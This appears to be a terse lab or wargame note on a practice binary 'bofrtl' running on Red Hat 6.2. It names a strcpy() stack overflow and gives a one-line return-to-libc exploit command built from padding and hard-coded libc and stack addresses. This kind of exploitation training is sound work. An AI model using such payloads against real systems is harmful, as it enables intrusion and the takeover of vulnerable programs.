bofrtl

bofrtl.c source code
Stack Frame

redhat 6.2
vuln : stack overflow
vuln func : strcpy()
exploit code :

./bofrtl $(python -c 'print "A"*12 + "\xe0\x8a\x05\x40" + "AAAA" + "\x20\xfb\xff\xbf"') | cat